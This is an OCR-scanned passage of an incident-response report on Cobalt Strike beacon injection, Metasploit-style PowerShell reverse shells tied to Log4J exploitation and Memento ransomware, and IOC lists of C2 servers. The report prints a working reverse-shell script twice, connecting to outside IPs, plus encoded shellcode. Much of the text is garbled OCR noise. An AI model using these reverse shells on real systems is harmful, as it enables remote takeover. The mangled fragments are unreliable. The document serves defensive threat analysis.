32ugx9PLEYM] I2]yYnNxcnV rEvFGabhxQ2uocTtrqHEDabhRc2ss 1G1pbhLgaxLjjx9CX
yEPA2L161i5iIuLBznFicmuocQDoYRIrIvNFols7KCFWUaijqyMjI2umdldEayLzcbhro2
eoYwhNqIvPAdWY comKoF6t rIvVuEuprEu0PYuLqlmIidhvDVtIvIGBHK2Ya8b7e2eoYwd
qIvNFYqgvazeoYz9qIvNigCeraylLzYntie316eWl7YnpieWugzwNicdzDe2J6eWuoMcps
INzcfkkjaplUSK1KTUZXI2]1laqrFb6rSYplvWAUK3PZrEuprEvFuEUNuEupic2zYpkZd
VQE3PbIUHLrqulim3Mj IyNuEupicmlySSBicmKZdKq85dz2yHpda6riaxlxaqribhLgcl
s3IWOncXFimch2DRj cO9muqSWugdHNIKXxrqtIrqvlg50Pc3NzcbhlqeXFimQ4101jc9qgb
jLKa+IiMja9zsLKevIiM]jyPDKxyIjIBuB3NzcDHVaamY j FmwCowZjYnN4F39zeXsWFwtz
TQoUYGAKFF4HZmpgYnEQOcHd ibWdicWe0Ym13anVgcXZwDndmcHe0ZWpvZgIHawh rCSMWb
AJzBiNZUEZRDmJERK1XGONuTF1KT@CDBYNEWMLOExOUBIXSKFPRhgDbnBgZgMSEWATGA
NOSk1HTFROA213AXUNERgDAEpNFRCYALSVFxgDd1FKROZNVWWVDRMYA251YnFpcAoukSM
WbAJzBmNic3gX f3NSexYXC3INIChRgYAoUXgdmamBicQSwd2ltZ2)xZw5 ibXdgdWpxdnAD
d2Zwdw5 lam9ImAgdrCGsJIxZsAnMGY2] zeBd/c317FhcLc30KFGBgChReB2ZqYGI xDnB3Y
minYnFnDmJtd2planF2cA53ZnB3DmVqb2YCB2s Iawk jFmwCcwZ j YnN4F39zeXsWFwtzfQ
oUYGAKFFAHZmpaYnEOcHd ibWdicWc0Yml3anVacXZwDndmcHc0ZWpvZg IHawhrCSMiYp3

B0Dm r:

time: dms
length: 893
lines: 3

Output

1.DAVHYEA. 4.H. OM1EH1A-AAE
A.ABaufL. LS. EONuBXD, @$I.DFA. .HD.@. I.DA. . .H.DAXAX YZAXAYAZH. i
ARYAXAYZH. . 60451 j. I3wininet.AVI.2L.AA2LwE. yOH1EH1OM1AM1EAPAPA® : Vy§y0
&5ZH.AA P...M1EAQAQ] . AQA®W., . £0&Y [H.AH101.BM1ERN. .@. RRAZEU. ; yOH. £H. AP
i

_H.fiH. UICAy 1ERRAS-. ,

{y0.A. ..o HYTL ... B0€4E. . . BEYYY/VYIE. 50! P%@AP [4\PZX54(P~) 7CC) 7 }SEICA
R-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*.50!P%.User-Agent: Mozilla/5.0
(compatible; MSIE 10.8; Windows NT 6.2; Win64; x64; Trident/6.0;
MAARIS )

. 50! P%@AP [4\PZX54 (P~)7CC) 7} $EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H+.50 ! P%@AP [4\PZX54 (P~) 7CC) 7} $EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H+.50 ! P%@AP [4\PZX54(P~) 7CC) 7} SEICAR-STANDARD-ANT IVIRUS-TEST-
FILE!$H+H*. . A%OpudVyOH1E® . .@.A . .. . A'@. . . ARXuSATOH. SSH. cH. AH.UA .

T

il AtNf.  H AL AuxXHXH, o0y PA&.y¥$185.112.83.116.) ...

In the next stage, the shellcode executes the rundll32.exe process (by default) and injects the CS beacon into it. We observed additional

processes which could be executed during a Cobalt Strike infection.

Processes that could be potentially involved in a CS injection:

\sysnative\dllhost.exe
\sysnative\wuauclt.exe
\sysnative\esentutl.exe
\sysnative\werfault.exe
\sysnative\regsvr32.exe
\sysnative\userinit.exe
\sysnative\mstsc.exe
\sysnative\net.exe
\sysnative\svchost.exe
\sysnative\gpupdate.exe
\sysnative\lsass.exe
\sysnative\searchindexer.exe

The common pattern for these processes is that when Cobalt Strike injects the code, these processes are executed without any command-
line parameters. This is very suspicious. For example, regsvr32 or werfault that are being executed without any command line parameters is
considered an anomaly as this behavior won’t be observed as part of a normal operating system activity. Additionally, in most cases, the
injecting process also contains a new memory page with RWX permissions and the content of this page is a PE code. Note that the threat

actors could also use only RX memory permissions.

stage.userwx — “This setting is a Boolean and informs the default loader to either use RWX or RX memory.

At runtime Beacon will either include or not include the .text section for masking. If the setting is set to TRUE, your user defined loader needs
to set the protection on the .text section as RWX otherwise Beacon will crash. If the setting is set to FALSE, your user defined loader should
set the protection on the .text section as RX as the .text section will not be masked.”

The next case will cover another IR incident where the threat actors executed a reverse shell via PowerShell script that is inspired by the

Metasploit framework.

Case 3 — Metasploit PS Reverse Shell

We will cover the PowerShell reverse shell script and explain each line in the code in order to best understand of the functionality the script

and how it works.

The execution flow:
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Parent process: c:\program files\vmware\vmware view\server\bin\ws_tomcatservice.exe
Child process: powershell -nop -ec

JABJAGWAaQBIAG4AdAAgADOAIABOAGUAIWALAESAY gBqAGUAYWBOACAAUWB5SAHMAJABIAGOALgBOAGUAJAAUAFMAbWBJAGSAZQBO

The following PS script is the decoded Base64 command:

Opens a socket to
$client = New-Object System.Net.Sockets. TCPClient(*142.44.251[.]77",4445); VSRS Nyt

Gets the object used to
$stream = $client. GetStream(); send and receive data

.
to/from the socket

Creates a byte array of
[byte[]] Sbytes = 0..65535 | %{0}; ____ PIENERERIE K =i ae)
0]

A loop that receives each command that is being
sent by the attacker, one-by-one, and saves it in the
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { ; —_ bytes array for further processing. This loop will
end when the next command will be an empty
string.

Encodes the incoming
buffer to an ASCII string

$data = (New-Object -TypeName System.Text. ASCIIEncoding).GetString($bytes,0, $i); (In this case
/ PowerShell command)

Executes the command and saves

$sendback = (iex $data 2>&1 | Out-String ); ______ its output into a variable

Appends the PowerShell prompt to the saved
command output to give the attacker a “full
« » e« shell experience”, e.g. if the command is “echo
= + + + 4> 0 —
$sendback2 = $sendback + “PS (pwd).Path ’ hello”, the resulting string would be
hello

PS C:\Some\Path >

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback?2); /

$stream.Write($sendbyte,0,$sendbyte.Length) ~—— UEERIECIEIRER B TR

Flushes the stream object for the output to be

Goes back to the while expression that will
receive the next command (Repeats until an

empty string will be received)

S$client.Close()
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Closes the socket

framework/blob/389fd55952a18dcddc072c9f5fde0c474da3401d/data/exploits/powershell/powerfun.ps1)

Comment that implies the IP is related to an exploitation in-the-wild of the Log4J vulnerability.

2]

1) el you Intienc 1 seach across the file corpus Insteac? Click hars

DETECTION DETAILS RELATIONS COMMUNITY °

Comments

(“’ nikhitht

At the time of writing, the server is refusing connections:

ers\Administrator> New-Object Syste

Assumption: The server is missing some information about the host (Which should be collected prior to the reverse shell session), and thus it
won'’t accept the connection.

We detected another similar attempt of reverse shell execution via a similar PowerShell script and in this case, we were able to receive a
connection to the C2 server:

Case 3.1 — Metasploit PS Reverse Shell potentially related to Memento ransomware

In the screenshot below, we can see the PS script and the $data variable input that was received from the C2 server; cmd.exe /k whoami
command:

PS C:\Users\user> $client = New-Object System.Net.Sockets.TCPClient("190.144.115.54",4545);
$stream = $client.GetStream(); %
[byte[]1$bytes = 0..65535|%{0};
while(($1 = $stream.Read(Sbytes,0,Sbytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,%1);
$sendback = ( $data 2>&1 | Out-S5tring );
$sendback2 = $sendback + "PS " + (Get-Location).Path + "> “;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
$stream. Flush(})}; $client.Close()

PS C:\Users\user> $data
cmd. exe /k whoam

The $sendback?2 variable contains the cmd.exe /k whoami output which should be sent to the C2 server.

PS C:\Users\user> $sendback?

cmd. exe [k whoami

The above IP “190.144.115[.]54” has a bad reputation in VT and the community links this IP to the Memento ransomware:
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3] womansse

T} 6 secuiity vendars flsgged this IP address as malicious

-y
il WOMAN55E (190
A% 14080 | Teimex Color
[ DETECTION DETAILS RELATIONS
Comments

@ Krilstilsannaa

Indicator of Compromise:

A4.0.0077)

biasa

COMMUNITY o

XMRig C2 server:

72.46.52[.]1135
hxxp://72.46.52[.]135/mad_micky[.]bat
hxxp://72.46.52[.]135/mad[.]bat
141.85.161[.]18
hxxp://141.85.161[.]118/kill[.]bat
hxxp://141.85.161[.]18/mad_micky[.]bat
80.71.158].]96
hxxp://80.71.158[.]96/xms[.]ps1
72.46.52[.]1135

72.46.52[.]135/dI[.]sh
195.154.187[.]240
hxxp://195.154.187.240/2[.]ps1
51.222.121[.]1180
hxxp://51.222.121[.]180:82/kill[.]bat

Unknown C2:

IP: 66.42.36[.]178 Port: 8853
IP: 142.44.251[.]77 Port: 4445
IP: 190.144.115[.]54 Port: 4545

Potenteltliy realted to Night Sky ransomware:
api[.]Jrogerscorp[.Jorg
hxxp://api[.Jrogerscorp[.Jorg:80

Cobalt Strike C2:
185.112.83[.]116
hxxp://185.112.83[.]116:8080/drv
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